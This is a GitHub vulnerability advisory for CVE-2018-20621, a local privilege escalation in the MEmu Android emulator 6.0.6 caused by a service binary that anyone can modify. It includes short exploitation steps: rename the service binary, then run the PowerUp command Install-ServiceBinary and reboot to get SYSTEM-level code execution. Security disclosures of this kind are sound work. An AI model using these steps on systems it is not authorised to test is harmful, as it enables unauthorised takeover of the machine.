Skip to content
master
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVEs/CVE-2018-20621/
CVEs/CVE-2018-20621/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 

CVE-2018-20621: MEmu Android Emulator Local Privilege Escalation

Information

Description: The MemuService.exe service binary is vulnerable to local privilege escalation.
Versions Affected: 6.0.6
Researcher: David Yesland (https://twitter.com/daveysec @daveysec)
Disclosure Link: NA
NIST CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2018-20621

Proof-of-Concept Exploit

Description

The MemuService.exe service binary is vulnerable to local privilege escalation through binary planting due to insecure permissions set at install time. This allows code to be run as NT AUTHORITY/SYSTEM.

Usage/Exploitation

Rename C:\Program Files\Microvirt\MEmu\MemuService.exe to MemuService.exe.old. Then using PowerShellEmpire PowerUp run Install-ServiceBinary -Name 'MEmuSVC'. Reboot.

Detail

ServiceName                     : MEmuSVC
Path                            : C:\Program Files\Microvirt\MEmu\MemuService.exe
ModifiableFile                  : C:\Program Files\Microvirt\MEmu\MemuService.exe
ModifiableFilePermissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
ModifiableFileIdentityReference : Everyone
StartName                       : LocalSystem
AbuseFunction                   : Install-ServiceBinary -Name 'MEmuSVC'
CanRestart                      : False